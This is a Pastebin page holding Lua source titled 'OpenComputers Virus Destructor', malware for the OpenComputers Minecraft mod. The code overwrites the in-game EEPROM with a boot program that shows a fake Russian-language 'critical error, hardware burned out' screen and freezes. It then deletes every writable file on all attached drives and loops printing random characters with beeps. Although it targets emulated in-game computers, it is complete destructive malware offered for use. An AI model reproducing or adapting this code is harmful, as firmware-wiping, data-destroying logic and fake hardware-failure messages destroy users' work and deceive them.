Advertisement
TheRio

OpenComputers Virus Destructor

May 29th, 2016
231
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 2.86 KB | None | 0 0
  1. local component = require("component")
  2. local fs = require("filesystem")
  3. local computer = require("computer")
  4. local unicode = require("unicode")
  5.  
  6. local color = "emlpdr"
  7.  
  8. local Code = [[
  9.  
  10. local textLines = {
  11.   "Процессор, видеокарта или память, сгорело.",
  12. }
  13.  
  14. local component_invoke = component.invoke
  15. function boot_invoke(address, method, ...)
  16.   local result = table.pack(pcall(component_invoke, address, method, ...))
  17.   if not result[1] then
  18.     return nil, result[2]
  19.   else
  20.     return table.unpack(result, 2, result.n)
  21.   end
  22. end
  23.  
  24. local eeprom = component.list("eeprom")()
  25. computer.getBootAddress = function()
  26.   return boot_invoke(eeprom, "getData")
  27. end
  28. computer.setBootAddress = function(address)
  29.   return boot_invoke(eeprom, "setData", address)
  30. end
  31.  
  32. do
  33.   _G.screen = component.list("screen")()
  34.   _G.gpu = component.list("gpu")()
  35.   if gpu and screen then
  36.     boot_invoke(gpu, "bind", screen)
  37.   end
  38. end
  39.  
  40. local function centerText(mode,coord,text)
  41.   local dlina = unicode.len(text)
  42.   local xSize,ySize = boot_invoke(gpu, "getResolution")
  43.  
  44.   if mode == "x" then
  45.     boot_invoke(gpu, "set", math.floor(xSize/2-dlina/2),coord,text)
  46.   elseif mode == "y" then
  47.     boot_invoke(gpu, "set", coord, math.floor(ySize/2),text)
  48.   else
  49.     boot_invoke(gpu, "set", math.floor(xSize/2-dlina/2),math.floor(ySize/2),text)
  50.   end
  51. end
  52.  
  53. local function suck()
  54.   local background, foreground = 0x0000AA, 0xCCCCCC
  55.   local xSize, ySize = boot_invoke(gpu, "getResolution")
  56.   boot_invoke(gpu, "setBackground", background)
  57.   boot_invoke(gpu, "fill", 1, 1, xSize, ySize, " ")
  58.  
  59.   boot_invoke(gpu, "setBackground", foreground)
  60.   boot_invoke(gpu, "setForeground", background)
  61.  
  62.   local y = math.floor(ySize / 2 - (#textLines + 2) / 2)
  63.   centerText("x", y, " Критическая ошибка! ")
  64.   y = y + 2
  65.  
  66.   boot_invoke(gpu, "setBackground", background)
  67.   boot_invoke(gpu, "setForeground", foreground)
  68.  
  69.   for i = 1, #textLines do
  70.     centerText("x", y, textLines[i])
  71.     y = y + 1
  72.   end
  73.  
  74.   while true do
  75.     computer.pullSignal()
  76.   end
  77. end
  78.  
  79. if gpu then suck() end
  80. ]]
  81.  
  82. function parseProxy(address)
  83.     local proxy = component.proxy(address)
  84.     local list = proxy.list("")
  85.     for _, file in pairs(list) do
  86.         if type(file) == "string" then
  87.             if not proxy.isReadOnly(file) then proxy.remove(file) end
  88.         end
  89.     end
  90.     list = nil
  91. end
  92.  
  93. function parseAllAddresess()
  94.     for address in component.list("filesystem") do
  95.       local proxy = component.proxy(address)
  96.       if proxy.address ~= computer.tmpAddress() and proxy.getLabel() ~= "internet" then
  97.         parseProxy(proxy.address)    
  98.       end
  99.     end
  100. end
  101.  
  102. component.eeprom.set(Code)
  103. parseAllAddresess()
  104.  
  105. print("Unknown error occured!")
  106.  
  107. while true do
  108.   local str = ""
  109.     for j = 1, 160 do
  110.       str = str .. unicode.char(math.random(0, 255))
  111.     end
  112.   print(str)
  113.   computer.beep(1000, 0.1)
  114. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement